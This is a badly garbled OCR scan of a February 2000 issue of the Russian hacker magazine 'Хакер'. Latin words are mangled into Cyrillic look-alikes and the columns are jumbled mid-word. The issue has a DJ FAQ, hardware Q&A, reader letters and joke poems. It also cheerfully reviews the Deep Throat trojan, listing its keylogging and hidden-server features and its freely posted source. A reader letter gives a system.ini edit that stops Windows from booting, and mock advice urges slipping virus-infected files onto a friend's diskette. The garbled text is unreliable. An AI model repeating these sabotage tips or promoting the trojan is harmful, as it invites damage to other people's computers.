ѴѴіпсІоѵѵз 9х/І\ІТ4/2к 
Зіге: 1 50 кб 
Ргееѵѵаге 

ШрУУѵѵтѵ. гіІзоКѵѵаге. сот 



Новая разработка В Л. ЗоНѵѵаге позволяет наслать 
на компьютеры друзей, знакомых и совсем нез- 
накомых людей новую эпидемию под названием ГІорру 
Масіпезз. Симптомы этой напасти следующие: зара- 
женный компьютер начинает часто-часто опрашивать 
свой собственный дисковод, 
надеясь обнаружить там слу- 
чайно забытую юзером дис- 
кетку. Если дискетка присут- 
ствует, то комп на некоторое 
время успокаивается. Если 
нет, то обиженный комп сна- 
чала злобно трещит пустым 
накопителем, а затем выдает 
сообщение вроде: “Ты куда, 
засранец, дискетку дел?” 
Впрочем, системное сообще- 
ние может содержатъ и другой 

-- ■ I -'''і текст (а частота опроса флоп- 

пу-дисковода может менять- 
ся), если некто очень хитрый догадается запустить от- 
ветственный за эти злодеяния (Іорру.ехе с параметром 
сопіід в командной строке. Все проявления болезни ис- 
чезают, если переместить указатель мыши в левый 
верхний угол экрана. 
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Классика. Один из самых известных троянов - удаленных администраторов. Занимает третье место по по- 
пулярности, сразу после Васк Огіііс-а и ИеІЬиз-а. К сожалению, автор сообщает, что версия 3.1 будет пос- 
ледней, поскольку - хватит, он и так угробил на эту прогу больше года. Но есть в этом и свои плюсы - сле- 
дуя доброй традиции, создатель не пожалел и выложил исходники Беер ТПгоаі на своей страничке. Так что 
кто заинтересовался, могут оттуда их скачать совершенно без-воз-мез-дно (то есть - даром :). О самом 
трояне можно сказать так: он умеет все что нужно, от серьезных вещей, вроде организации «подпольного» 
ГТР-сервера, слежения за нажатиями клавиш или передачи на указанный ШИ «радостной вести» о том, что 
«подчиненный» компьютер получил доступ в Интернет, до различных шуточек, вроде «удаления» кнопки 
Пуск, «заморозки» мыши, и баловства с различными разрешениями монитора. Хм... Если ты последнее 
время жаловался на странное поведение своей машины, то посмотри, нет ли файла зузігау.ехе в твоем ка- 
талоге с:\ѵѵіпс1оѵѵ5\, а если есть, то не ссылается ли на него ключ 
НКЕѴ_ЮСАІ_МАСНШЕ\5оИѵѵаге\Місго5оК\ѴѴіпсІоѵѵ5\Сиггеп{Ѵег5Іоп\Вип («5узІетІгау»=»с:\\ѵѵіпсІоѵѵ5\\ 
зузігау.ехе») в реестре? Может быть, тебе уже и качать ничего не надо? Все и так уже есть! :) 
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□апсіпд СІосізоп □оЬппзкі. 

С музыкальными вопросами Доктору здорово помог С ^ОМС. °/о— }□{-}□{-}□{-}□{-]□{-}□{-}□{-}□{-}□{ 
Шампунь: □п.СосІ@хакер.пи 



Что умеет мик- 
шерский пульт? 



в 



I- 




В профессиональной студии 
звукозаписи каждый микрофон и каждый инстру- 
мент записывается на отдельную дорожку, а по- 
том собирают все каналы в один - общий. На мик- 
шере как раз и регулируется уровень записи с 
каждого канала по громкости и частоте. Микшер 
используется и на концертах, для управления зву- 
ком. Микшер - многоканальный пульт для регули- 
рования громкости на разных частотах. Обычно на 
входе и выходе пульта ставятся дополнительные 
усилители. Вообще микшер - обычный коммута- 
тор, а все спецэффекты делают на дополнитель- 
ных примочках. 

Важной частью микшера является характерный 
газетный сверток под пультом. Если ты когда-ни- 
будь был на летней сцене, то обязательно его ви- 
дел. Никто не знает, что за- 
вернуто в газету, но оператор 
после общения со свертком 
заметно веселеет. 



Что такое 



ватріе? 





Кусок записи или целая запись. Допустим, у тебя 
есть звуки отбойного молотка, бензопилы, спус- 
кающегося бачка в сортире, глухие удары по 
чьей-то морде, вопли старушки у подъезда. Все 
это - сэмплы. Теперь ты можешь их смешать, и 
получится композиция. Наложи на это сэмпл с 
речью одного из наших политиков, и можно запи- 
сывать трэк. Удобный и простой редактор для ра- 
боты с сэмплами - АсісІ. Сэмплы могут храниться 
во всех форматах звуковых 
^файлов, главное, чтобы твой 
‘^сэмплер умел с ними рабо- 
тать, а у соседей были креп- 1 
кие нервы. 



Что такое Ьрт? 




Веаі рег тіпиіе - количество ударов в минуту. Бокс 
туг не при чем. Сэмплы обычно бывают записаны 
в разном ритме. Зная Ьрт, ты сможешь подобрать 
сэмплы ритмы, которые подходят, а значит их про- 
ще сводить. В Интернете есть даже целые разде- 
лы по Ьрт. Вся электронная музыка соответствует 
определенным Ьрт. Например, для Ноизе Мизіс - 
это ІЗОЬрт, Зипдіе - до ЗООЬрт и т.д. 



Что такое □гит Мае 



Это барабанная установка, т.е. машина, которая 
делает ударные ритмы. Сейчас есть множество 
программ, которые имитируют барабанную уста- 
новку. Но можно использо- 
вать уже готовые сэмплы с 
драм машиной. Часто драм 
машина встроена в обычный 
синтезатор. 



Что такое ріСсЬ? 



і- 



СЭІ 



п 



Если у тебя есть обычный 
тель виниловых дисков, ты, ю 
лючатель скорости пластин 
пульте тоже есть такой пере 
плавный. Такой рычажок есті» 
Изменяя положение питча, 
под Ьрт, чтобы сэмпл звучфі 
ли питч у тебя в процентах, 
ростъ сэмпла. С помощью п 
нять ритм композиции, так и- 
получить другой (вот так вся 
кие джангл ы появляются ;)) 
Попробуй пустить похорон 
ный марш побыстрее, полу 
чится крутой брэйк-бит. 



аковыи проигрыва- 
фнечно, видел перек- 
ж. На диджейском 
(лючатель, но более 
у всех сэмплеров, 
ы подстраиваешься 
в своем ритме. Ес- 
100%- родная ско- 
ітча ты можешь ме- 
одного стиля можно 



Что такое Іоор? 



і- 



п 



Ьоор - это сэмпл четной длины. То есть длитель- 
ность записи лупа должна быть четной. Если по- 
пытаться перевести нечетный сэмпл в луп, то за- 
пись может исказиться, сжаться или растянуться. 
Вообще Іоор полезен, в основном, для начинаю- 
щих. С помощью редактора на лупах можно сходу 
намешать какую-нибудь простенькую компози- 
цию. І_оор переводится как петля, потому такой 
сэмпл очень удобно зациклить. То есть он будет у 
тебя постоянно повторяться на протяжении ком- 
позиции. Яркий пример - 
драм лупы, когда определен- 
ный ритм повторяется пос- 
тоянно. 



Что такое 
зспаЪсЬ? 



і- 




Часто, чтобы ритмы двух записей совпали, нужно 
подкрутить одну пластинку чугь-чугь назад или 
вперед. Это движение называется скрэтч. Если 
покрутить пластинку рукой, появится клевый звук. 
ЭЗ на скрэтчах может сыграть простенькую мело- 
дию, важно иметь хорошее чувство ритма, чтобы 



знает 



П 



записи остались синхронными. Ш обычно : 
каждый миллиметр своего винила и Ьрт * аждой 
записи. Ш Сгооѵе, например, делает на плретин- 
ках метки, в местах, где мо- 
жет получиться клевый 
скрэтч, а потом, во время его 
эфира, ты слушаешь все эти [ 
диджейские звучки. 



Что такое микс? 



г 



+ 




На дискотеке или на радио композиции плавно 
переходят одна в другую, так что ты даже не за- 
мечаешь. На самом деле это достаточно сложно 
сделать. Сначала ЭЗ сводит композицию, кото- 
рая играет в эфире со следующей записью. С 
помощью питча и скрэтчей ЭЗ добивается, чтобы 
низкочастотные удары совпали. Поэтому он пос- 
тоянно шифруется под лопоухого слона в науш- 
никах :). Потом он постепенно добавляет гром- 
кость следующей композиции и убавляет играю- 
щей. Самое трудное - изменять на ходу ритм, 
если композиции были в разных ритмах. Когда 
ЭЗ-ю не хватает рук, он пускает в ход ноги, нос, 
язык и другие подручные средства. Это было 
микширование по громкости. Супер-профессио- 
нальные ЭЗ-и могут играть одновременно на 4 
вертушках, микшируя по 4 композиции в геаі 
ііте. Кру т о ! 



С помощью частотного микширования ЦЗ может 
из одной записи вынуть во- 
кал из другой музыки. На | 
эквалайзере просто уби- 
раются частоты, которые 
плохо совпадают. СЗ ЭМС 
сводит бардов под хардкор. 






'то такой СЦ? 



в 



ЭЗ - Эізк Заскіе (например, СагІ Сох), ПЗ - Васііо 



Заскіе (например, Митрофанова :)), \А 



п 



Заскіе (например, Тутта Ларсен), СЗ- Сотриіег 



Заскіе (например, ЭМС). Вот приходит 



СЗ ЭМС 



после института домой, включает колонки на 



Сначала 

юдклю- 



20% мощности, и начинается дэнс. 
включается мотор: “р-р-р-р”, потом 
чается бард: “буль-буль”, потом ударУ “умц- 
умц”, заканчивается все раздраженным стуком 
по батарее: “тун-тун-тун”. В этом ритмф плотно 
угорает весь дом. 

Вообще компьютер дает больше возмо жностей, 
чем диджейский пульт, и стоит дешевле. Обычно 
на радиостанциях сидят СЗ-и. На компе можно 
быстро и удобно найти композицию и пустить ее 
в эфир. 



- Ѵібео 
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*Чем отличается 
динамический 
микрофон от 
электретного? 



п 




Прежде всего, устройством. Качество записи ис- 
кажается на записывающей головке, на усилите- 
лях, на проводах, но прежде всего на микрофоне. 
Динамический і^икрофон слышит широкий диапа- 
зон частот, он удобен для записи музыки, вокала. 
В студии к нему ставят специальный экран, чтобы 



Самый надежный метод: за бутылку пива какого- 
нибудь перца посадить это “распознавать” на кла- 
виатуре. А если тебе охота потренировать гемор- 
рой, то не обойтись без хорошего графического 
редактора. Нужно сделать изображение более яр- 
ким и контрастным, тогда 
больше шансов распознать. [ 

Можно поставить разреше- 
ние сканера покруче, это то- 
же поможет. Тренируй ге- 



моррои, а то заживет. 



погасить шипящие звуки, которые перегружают 
усилитель. Электретный микрофон рассчитан на 
человеческую речь, он компенсирует лишние шу- 
мы. Такие микрофоны ставятся в современные те- 
лефоны, диктофоны, на твой 
компьютер. Элекгретные 
микрофоны ставят на жучки, 
из-за их малых размеров. 



Что такое ІМІ-Ю? 



п 



Что такое 
витая пара? 



п 



і- 




і- 




Витая пара - это два скрученных проводочка. На 
таком кабеле построены телефонные сети на запа- 



Однажды я услышал знакомые к[ >ики с употребле- 
нием “мастдай” и “рулез”. Крича іа девица школь- 
ного возраста. Ну-ка, что это Зс маленькая мас- 
тдай щи ца? 

- Девочка, ты что, ФИДОшница? 

- А что такое ФИДОшница? 

ІМНО - Іп Му НитЫе Оріпіоп, пс моему скромно- 
му мнению. Глупо пытаться понять ФИДОшников, 
ведь они сами себя редко по- 
нимают. 



де. Этот кабель хорош тем, что у него низкая ем- 
кость и высокая гомехоустойчивость. Также мож- 
но считать причиной низкого качества отечествен- 
ной телефонии использование медной пары “Лап- 
ша”, у которой большая емкость и которая отлич- 
но ловит все помехи. Иногда в телефоне даже бы- 
вает слышно некоторые модные радиостанции. 

На витой паре споят 10 и 100 мегабитные ком- 
пьютерные сети. ] одном ка- 
з или четыре 
передачу, 
рванные ка- 



беле обычно две 
пары на прием 
Бывают экранирс 
бели, когда каждря пара за- 
вернута в фольгу. 



Почему РС- 1 □□? 




высоких тактовых 
Памяти сделан на 



тать вообще. Так 
лучше РС133 - оі 



Меня выкиды- 
вает из Инета 
поднятие трубки 
на параллель- 
|чом телефоне. 




п 




Всем известно, чі о обычная оперативка глючит на 



частотах шины. Любой модуль 
триггерах, так называются эле- 
менты памяти. У ётих элементов есть определен- 
ное время сраба ывания. Поэтому такты работы 
на высокой частоте будут сбиваться, и система 
либо будет быстро повисать, либо не будет рабо- 
что либо покупай РС- 1 00 (а еще 
ред.), либо выставляй на шине 



-Мой муж день и ночь сидит за компом. 

-Алла, а ты ему изменяешь? 

-Иногда.... 

-А компьютер ему когда-нибудь изменяет? 

Если у тебя с этим все нормально, то покрути ре- 
гистр ожидания ответа удаленного терминала. 
Нет такого регистра? Тогда можешь выкинуть 
свой модем, по нему можно только матерные 
факсы отправлять. Попробуй еще установить про- 
шивку поновее, разрешить только помехозащи- 
щенные протоколы. Но круче всего просто отклю- 
чать параллельный телефон. (У меня, например, 
вся домашняя телефонная сеть - проходит через 
мой Курьер, таким образом, 
когда мопед берет трубку - 
все остальные телефоны 
уходят в даун). 



частоту поменьше. 



Как загнать 
свою старую 
тачку? 




Как распознать текст с мат- 
ричного принтера? 



Можешь попытаться продать свой комп через 
ФИДО или на радиорынке. Там за старый комп 



дадут очень мало: спецам всякую лажу не впа- 
ришь. Вообще, весь комп там продать тяжело. 
Реально толкнуть такие комплектующие, как 
винт, память, видеокарта. Все остальное силь- 
но зависит от модели. При этом каждую твою 
железяку тщательно проверят. 

Чтобы получить хорошие бабки, тебе необхо- 
дим Мг. Ламер. Найти его не так просто. Если 
ты загоняешь старый комп по знакомству, будь 
готов стать службой технической поддержки. В 
ближайшие пять лет тебе придется показывать 
“апу кеу” по телефону или лично в любое вре- 
мя дня и ночи. 

С компьютерной барахолкой все еще сложнее: 
деньги ты получишь только после того, как купят 
твою тачку. При этом барахольщики возьмут с те- 
бя процент за аренду, в зави- 
симости от количества дней, 
которые твой комп пылился у 
них на полке. 



п 



Доктор, у меня 
кошмары 



г 



I- 



в 



“Раѵог посШгпиз. 

Ночные страхи детей. 

СИМПТОМЫ. Припадок начинается обычно 
криком (иногда стрельбой и взрывами - прим 
Д.Д.). Ребенок с выражением испуга на лице 
делает защитные движения, как будто стре- 
мится укрыться от какой-то опасности. Неред- 
ко произносит отрывочные слова, указываю- 
щие на испытываемые галлюцинации: “чер- 
ное”, “страшный человек” и т.п. (Хе-хе - прим 
Д.Д.) На вопросы ребенок не отвечает и окру- 
жающих не замечает. Припадок длиться нес- 
колько минут, после чего больной постепенно 
начинает осознавать окружающее и снова за- 
сыпает. 

ЛЕЧЕНИЕ. Достаточная вентиляция помеще- 
ния (один чувак задохнулся от собственного 
пердежа - Д.Д.). Одеяло не должно быть тяже- 
лым. Запрещено укрываться с головой. Удале- 
ние аденоидов, если таковые имеются. Регули- 
рование кишечника. Умеренная физкультура. 
Избегать повышения эмоциональности ребен- 
ка страшными рассказами и чтением.” 

Вот что думает по этому поводу справочник ба- 
бушки-врача. А я бы посоветовал бы твоей под- 
ружке спать отдельно, если она не в силах от- 
биться от твоей мертвой хватки. 55 
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МА II- 




Письмо: 

□т: ѴІасІіппіг ВаЬеІко 

[ѵд@оІіѵе1з1зі.ги] 

Ні диуз, 

Все что читал в вашем крутейшем журнале о подве- 
шивании ІѴЮ(98) - отстой по сравнению с тем, что я 
обнаружил примерно год назад. 

1 . Открываете зузіет.іпі. 

2. Там в самом начале есть строка типа 
тоизе.сІгѵ=тои5е.сІгѵ. Убираете все, что после зна- 
ка равенства. Т.е. остается просто “тоизе.сігѵ-’ 

(без кавычек). 

3. Сохраняете зузіет.іпі и перезагружаетесь. 

4. ТЕПЕРЬ ВСЕ ВНИМАНИЕ НА ЭКРАН !!! (Это не 
больно) 

Не хочу портить впечатление от сюрприза, но то 
что я увидел сам в первый раз 
(когда черт меня дернул отредактировать этот 
маус.дрв), меня потрясло: ...Ѵои плизі геіпзіаіі 
ѴѴіпбоѵѵз... !!!!! 

Круче всего это выглядит на компе с АТХ-овым бло- 
ком питания - комп НЕМЕДЛЕННО ВЫКЛЮЧАЕТСЯ. 
После перезагрузки винды предлагают войти в 
Заіе-тосіе. Если выбрать ИогтаІ - цирк повторится. 
Вернуть все взад можно обратной редакцией зуз- 
іет.іпі в 5аІе-моде. 

Р.5. С остальными строками зузіепл.іпі я не экспе- 
риментировал. 

Р.Р.З. И где это я читал, что зузіет.іпі, ѵѵіп.іпі нуж- 
ны только для совместимости со старыми програм- 
мами, а МО все берет из гедізігу??? 




Дарова, Владимир! 

Йоу! Моя интуиция подсказывает, что с момента 
появления твоих рекомендаций в X для многих 
пользователей РС в России переинсталляция 
мастдая станет любимым занятием. Они и так 
любят этим заниматься, а ты подкинул им еще 
один повод. Правда, есть у меня вопрос: а зачем 
потом возвращать все взад? И кому в зад? В чей 
зад? А если это раньше на столе стояло, то тоже 
надо в зад? А если у меня корпус - биг тауэр? :) 
(Это какой же зад-то надо иметь!) Или надо 
только мышь возвращать взад? А микрософтов- 
скую и чтобы в чужой зад - можно? Ответь, по- 
жалуйста. 

Письмо: 

□т: Евгений Бунчук 

[ЬогізпікоІаеѵісИ@таіІ.ги] 



От советского информбюро :). Сегодня в 13:00 по 
московскому времени Л. Брежнев ознакомился со 
всеми 15 номерами (может и больше) журнала, 
именующего себя “X”. Он прочитывал один номер 
за другим в течение 5 часов, в связи с чем пришел 
в душераздирающий восторг и издал указ о прек- 
ращении каких-либо научных работ на территории 
всего СССР и призвал всех ученых на разработку 
лишь компьютерных технологий, после чего умер 
не приходя в сознание. В связи с этим он был наг- 
ражден почетным орденом “Хакер Советского Сою- 
за”, им также были награждены все работники жур- 
нала X. 

Гип Гип УРА!!! 




Доброй ночи, в эфире радиостанция “Задница 
ЕМ”. Сегодня, в 22 часа по времени места, где 
не светит солнце, в Москве, не приходя в созна- 
ние, скончался Л. Брежнев. Как выяснилось из на- 
ших достоверных источников в Белом Доме, 
смерть наступила от интоксикации псилоцибином 
в сочетании с гиперфункцией информирования 
корковой части головного мозга текстом, почер- 
пнутым при непредвиденном протирании седали- 
ща страницей X. В связи с этим печальным собы- 
тием выражаем соболезнования советской сторо- 
не. По вопросам организации спиритических 
сеансов с Л. Брежневым обращайтесь в редакцию 
X. До встречи в эфире. 

Письмо: 

□т: МісЬаеІ N. РизЬкіп 

(РизМаде^ЫР 1 560.зрЬ.есІ 
и] 

Здравствуйте, гномоуважаемый Холод и вся осталь- 
ная редакция, особенно девушки. С прошедшим 
вас сами знаете чем и с наступившим недавно Рож- 
деством X. 

“Программа Везиггесі Эезиз Оігізі выполнила недо- 
пустимую операцию и будет закрыта” (привет от 
форточек). Хотелось бы попасть в самое Самое ду- 
рацкое письмо номера какого-нибудь. Посему хо- 
чется задать несколько вопросов и типа того. 

1 . Г-н Холод, ходят (давунлодят) слухи, что вы не- 
ким образом являетесь 

родственником Деду Морозу. И что у вас тоже 
красный НОС. Неужели это правда? 

2. Из достоверных источников стало известно, что 
вы уже давно не читаете 

писем, приходящих в редакцию, а остро - и - не - 
очень - умные ответы пишет специально сгенерен- 
ная программа. Я когда узнал, был в ужасе. А по- 
том понял, 

что это круто. Не могли бы вы мне тоже прислать 
такую, я тогда сам буду письма в нее посылать и 
сразу читать смешные ответы... 



3. Пока не придумал. 

4. Если вы действительно являетесь родственником 
Деду Морозу, то где же вы 

тогда живете? На северном полюсе все этим дедом 
занято, может, в холодильнике? 

Если да, то в сколькикамерном? 

5. Достаточно тупо? Гыгы. 

6. йопЧ Іаке іі зегіоизіу. 

7. Страна должна знать своих героев!!! 

8. Хотя’б реплай какой пришел? 

9. Раз вы самый вредный, вот вам и шлю! 

СгиеІІу Ѵоиг’з 

НизМаде 




Дарова, Майкл Пушкин и особенно Арина Родио- 
новна! 

Отвечаю последовательно на некоторые твои 
вопросы. 

1 . По поводу моего родства Деду Морозу хочу 
вам заметить, что вы, как родственник известно- 
го афро-американского поэта, можете и не быть 
проинформированы о моем настоящем проис- 
хождении. Но я открою вам тайну - на самом де- 
ле я БэтМан. Правда, Деды Морозы у меня в 
родне тоже имеются, особенно один. Но я боль- 
ше люблю снегурочек. 

2. Дорогой Майкл Пушкин! Ну конечно, я отвечаю 
на все вопросы сам, и как вы только могли такое 
поду... 

Программа выполнила недопустимую операцию 
и будет закрыта. Если ошибка будет повторяться 
в дальнейшем, обратитесь к разработчику#. 

3. Вы не придумали - я не ответил. Думайте быс- 
трее. 

4. Где я живу - это, на самом деле, большой сек- 
рет. Иногда дома. Меня многие зовут к себе 
жить, но я обычно ни с кем больше недели вмес- 
те прожить не могу - выгоняют. То требуют, что- 
бы я по ночам (цитирую) “перестал гадить в сти- 
ральную машинку”, то, пардон за каламбур, “пе- 
реть из холодильника все, что плохо лежит и пах- 
нет”. Но я, вообще-то, очень хороший и ем\гажу 
до смешного мало. Если вам понадобится кто- 
нибудь, чтобы нагадил в стиральную машинку - 
пишите, это мое хобби. 

Пункты 5, 6 и 7, а также 8 по понятным непонят- 
ным причинам пропускаю. И пункт 9 тоже. И 
вообще, на этом кончаю. Все. Альт - эф четыре. 

Письмо: 

□т: 

ипсІегдгоипсІ@пе\/ѵтаіІ.ги 
Здорово “Хакеп”! 

Мы чисто туг зачитали ваш журнал и чисто пришли к 
выводу, что все, что пишете, есть по понятиям, и мы 
поддерживаем. Но токо наше мнение об вас - что 
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К /Е-МАІІ. 



На письма отвечал Холоп 



ваш этот Инет есть вещь голимая и нас неприкалует. 
Нас чисто Дум прикалует и всякий там Тетрис. Хотя 
на бабки и нежалемся. И эти ваши слова про юнихов, 
регедиты и всякие там боксы есть чисто гонево ка- 
кое-то. Ни че таково мы тама не нашли. Проверили 
вашу фичу с этай самой куклой и томатным соком, 
ни че пацанам понравилось, хотя с ментами потом 
разборки и были. Так шо наше мнение поболе всяких 
там советов полезных. А то чисто и читать нечего. 
Слова всякие не русские, да гонево какое то. Не по 
пацанске поступаете, кабуго мы лохи какие и сами не 
разберемся как по кнопочкам тычкать. И вашому Би- 
лу Гетсу привет большой, и что за пацан что вы чисто 
так его любите все. И еще вопрос что это за клуб та- 
кой шѵѵ-зех и как туда попасть, пацаны были гово- 
рят там клево и телки бесплатно. Попрошу пацана 



одного чтоб вам по компьютеру в редакцию распеча- 
тал. А тож вы не пишете как так настроить этот глюк 
ваш. И мы не поняли как с вашего Инету капусту 
стрич. Лудше б сказали пацанам как с Думу стрич 
или с Тетрису. А то знаете воздуху мало не бывает. 
Шоб вы с характером оставались не зреж у вас брэнд 
такой. Всех благ. И буквы рисуйте крупнее а то чи- 
тать мелко и непонятно. 




Ну, типа, чиста здарова, пацаны. В натуре спаси- 
ба за всякую там поддержку и остальной подог- 
рев. Нас тоже чиста впирает всякий там Дум, 
тетрис-петрис, чих - пых - туды - сюды. Привет 



Билу Гетсу мы с пацанами в Штаты слили, он 
подъедет - привет этот перекинет, чтоб все было 
ништяк. А Бил Гете - он по-любому про клуб, ко- 
торый ѵѵш-зех, знает и нам типа того расскажет, 
и вааще все такое. И паролей каких-то даст, токо 
мы чиста не рюхнули, на хрен они сдались кон- 
кретным пацанам, которые и так нормально во- 
локут и все такое. 

Короче, теперь про полезные слова. Мы, типа то- 
го, всей конторой собрались, и по натуре решили 
типа про феньку всю рассказывать. Но чета не 
поняли, вы че типа про томатный сок гнали? Если 
это наезд, то мы можем забиться и типа выяс- 
нить все на пальцах. Но вааще-то вы нам чиста 
по кайфу пришлись. Всех благов. Удачи там, чтоб 
не закрыли и все такое. 



дурацкое письмо 

номера: 




ветозаров 

□ 1 8@реЪегІіпк.ги] 




Пишут Вам в журнал учителя города Санкт-Петербург. Мы хотим Вас покритиковать - причина тому весьма и весьма 
веская. Во-первых, с появлением вашего “хулиганского” журнала родители учеников стали жаловаться на ужасную 
неуспеваемость последних. Мы - то есть учителя замечательного города Санкт-Петербург - объясняем это призывами 
прогуливать школу (а куда им сейчас без хорошего образования?) и играть в компьютерные игры. Во-вторых, ученик 
(ранее спокойный, а сейчас самый отпетый хулиган города Санкт-Петербург) школы №6_ Алексей (это просто ради V 

примера!) теперь выгнан из своей школы, потому что занимался взламыванием компьютеров директора, завучей, 
просто учителей. Ладно бы он просто смотрел информацию (оценки, личные дела), так он еще и просто менял ее! 

Например, он “взломал” компьютер Анатолия Ивановича Рубана (учителя литературы) и, поменяв всю информацию 
(тексты самостоятельных работ, четвертные отметки, личные переписку и сочинения А. И. Рубана) на непотребные фо- 
тографии и тексты из Всемирной Сети Іпіегпеі, залез (другое слово неуместно к этому хулигану!) в компьютер директора 
и, ни с кем не проконсультировавшись, САМОВОЛЬНО)!) исключил из школы 18(!) человек!!! 

Также он менял расписание уроков каждый день (а то и каждый час, если был урок информатики (об этом чуть позднее)), вписы- 
вая несуществующие уроки, вроде “чистописания” для 1 1-го класса), начинал учебный день с призывов “уничтожать”, “вешать” “Винды” 
неким “ламерам”. На уроках информатики он проникал в компьютер учителя и делал множество вещей с этим уже и так старым аппаратом. Оттуда же он проникал в 
школьную локальную сеть и уже оттуда в компьютер директора, откуда, к несчастью, был доступ к ІпіегпеГу. 

У нас есть неопровержимые доказательства того, что он читал ваш журнал, и все его поступки совершены под влиянием вашего журнала! 

Мы хотим, и вместе с нами каждый житель города Санкт-Петербурга, чтобы вы больше не писали о взламывании компьютеров и не толкали наших детей на такие антиоб- 
щественные поступки!!! 

Одумайтесь, это только один ученик - “взламыватель”, а ведь таких, из его же шайки, ещё человек пятнадцать-двадцать! 

Учителя города на Неве. 
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Ну и угораздило же меня сболтнуть в 10-м номе- 
ре: “Присылайте, товарищи, свои стихи о малень- 
ком перце на бап@хакер.ш”. На следующий же 
день после его выхода на мой е-мэйл обрушились 
терабайты писем, в которых, помимо страшилок о 
перце, были также и поэмы о хакинге, вредные 
советы, песни, сказки, пара своп-файлов от мае- 
Т/^ил И ПОЛ! ЮС ССк/ри! !ИС СО' ІИ! !С! ПІИ ВОЛПО 111 И рЛ 
нова. В некоторых мессагах товарищи, не стес- 
няясь в выражениях, доходчиво объясняли мне, 
что если их стих не будет опубликован, то сле- 
дующий мой день рождения отменяется по причи- 
не несчастного случая. Некоторые перцы шли дру- 
гим путем и предлагали за публикацию свои ин- 
тимные услуги, галлоны пива и кучу левых креди- 
ток. Но я, конечно, с благородным гневом отверг 
все эти предложения и отобрал лишь самое луч- 
шее. Да, кстати, Оогіит, что это за фигня, мы же 
договаривались на пять литров девятки, а не на 
три? 

Зогіит 

<Ьи@аИа.пи> 

Маленький мальчик по имени Вася 
"Хакер" принёс для прочтения в классе. 

Разные рубрики дети читали - 
Нет больше бабушек в этом квартале. 

І\/Ія па и и і/і/і Гл ѵаі^ап пп паопі/і і/папілтѵа 

Жадного дядю обчистил до нитки. 

Но не потратит он бабки в сети - 
Трудно в Сибири компьютер найти. 

ЗъіІІ СЭеасІ 

<5ЙІІ сІеасІ@сЬаС.пи> 

Ламер от квакера быстро бежал, 

Но не успел - квакер <СЬг!> нажал. 

Справа и слева легло по ракете, 

Повести нету печальней на свете. 

Поезд идет - Москва-Воркута, 

Маленький хакер глядит из окна. 

Себя не ругай, слезы утри, 

Надо бы знать статью два-семь-три! 

Маленький ламер гонялся в Оиаке Тш. 
Бегал, рубился, пёрся во всю, 

Стрейфнулась слева квакерша Соня, 
Осталось дерьмо отламо на бетоне... 

Зепеда Рискоѵ 

<Гиск ІатегізИе@т1зи-пеіз.ги> 

Маленький хакер ставил винды, 

И, как всегда, глюканули они, 

Сломана клава, разбит монитор, 

В блоке системном застрявший топор. 



В хакеров дети в подвале играли, 

Ламера Мишу они там пытали, 

Палкой железной его отпороли 
Но не сказал он, где спрятал пароли. 

Маленький хакер винчестер чинил, 
Крышечку снял и блины он помыл, 

Очень доволен был папа-программер, 
Долго писал он крутой ір сканер. 

□тіСгу ЫезЪегоѵ 

<геаІріІоЬ@таіІ.ги> 

Маленький хакер который уж год 
Бережно правит ІіГтІ-код. 

Выделил сектор, поклацал на кнопки, 
Вновь сквозь решетку косится на сопки... 

АІех А. Ѵоіосііп 

<тазізег асІез@уаИоо.сопп> 

Маленький хакер по Нету гулял, 

В чате девчонку он клевую снял, 

Эх, не понравилась маме та фича: 

Жаль, антивирусов нету от ВИЧа. 



Психо 

<супер-пупер@ЬоізтаіІ.сот> 

ЛАМО. ЛАМЕР. ЛАМЕРЮГА. 

Что за странные слова? 

Почему моя подруга 
Называет так меня? 



Рігетап 

<Гі ге тап@сИаіз.ги> 

Маленький хакер компьютер собрал, 
Вилку воткнул и на РОѴѴЕВ нажал. 

В сети напряжение он не проверил, 
Пепла остатки кулер развеял. 

Маленький хакер компьютер чинил, 
Провод один не туда подключил. 

Мать задымилась, обуглился проц. 

Так разрешился апгрейда вопрос. 

Маленький хакер в гости пришёл, 
Портрет Била Г ейтса на стенке нашёл, 
Кровью хозяина "ЗиХ!" начертил: 
Очень уж он Майкрософт не любил. 

Маленький геймер в ІІпгеаІ играл, 

В друге своём Скарджа узнал. 

Выстрел Эйтбола, взрывы ракет: 

Друга теперь у геймера нет. 

Маленький ламер файлы качал, 

Кряк Интернета где-то достал. 



Винт форматнулся, ВІ05 сгорел, 

А как на халяву Инета хотел! 

Маленький фрикер сломал автомат, 
Очень он был доволен и рад. 

Жизнь его пролетела кометой: 
Зверски замучен в подвале УРМЕТ’а. 





ХАКЕР > ФЕВРАЛЬ’Ѵ2К 



/Даниил Шеповалов 

(РАЫ@ХАКЕР.Ки) 




Маленький хакер модем получил, 

К телефону соседей его подключил. 
Хакер в Сибири теперь рубит лес: 
Фишку сечет МГТС. 

Маленький хакер вирус писал. 

Вдруг в его дверь ударил металл. 
Свет отключился, компьютер погас: 
Чётко сработал российский спецназ. 

Маленький ламер почту читал, 
Приаттаченный файл распаковал. 
Долго ещё он платил за инет: 
Ламера лучше для хакера нет. 

Брат Ежик 

(сІиз@аропіз.пи) 

Маленький хакер к деду зашел, 
Быстро на клаве “Епіег" нашел, 
Американского нет континента, 

Вот шалунишка - внук президента. 

Девочка-хакер в Инет выходила, 
Шнур монитора в розетку врубила. 
Смачно шипела сгоревшая кожа: 
Девочка нынче на зомби похожа. 



Маленький хакер винт форматил, 

Г оохот кувалды соседей будил. 

Так и не поняли глупые люди, 

Кто и зачем этой ночью их будит. 

Маленький хакер файл и к скачал, 

Злобные вирусы тот содержал. 

Не на чем больше лазить в И неге: 

Не доверяйте компьютеры детям! 

Советы 

начинающим хакерам от 
ДаркМегаБун’а 

(тедаЬооп@аЬа.ги) 

Если друг пришёл к вам в гости с антивирусной дискетой, 
Недоверие такое пусть ему выходит боком: 

Сбросьте на его дискету ту игру из интернета, 

Что вчера ваш диск гиговый превратила в гиг Ьаб-блоков. 
Накидайте угилиток, купленных на Сй-РОМе 
У патлатого студента в Митино на той неделе. 

И туда же скиньте макрос, что прислал вам по е-таіГу 
Паренёк из Миннесоты с пожеланием удачи. 

Если друг остался другом и пришел к вам вновь в субботу, 
Значит весь уикенд придется изучать язык ассемблер. 

Если вдруг вам скажет папа, что игрушек слишком много, 
То такое положенье нужно срочно исправлять: 

Нужно выбрать каталоги, чьи названья неизвестны, 
Выделить их кнопкой мыши и отправить всех в корзину. 

Вы тогда двух зайцев сразу выстрелом одним убьёте, 
Влезут новые игрушки и отстанет нудный предок. 



Если вы забыли напрочь свой пароль для входа в ІЩ 
То попробовать вам нужно подобрать его по буквам. 

Если он не очень длинный - символов на семь, не больше, 
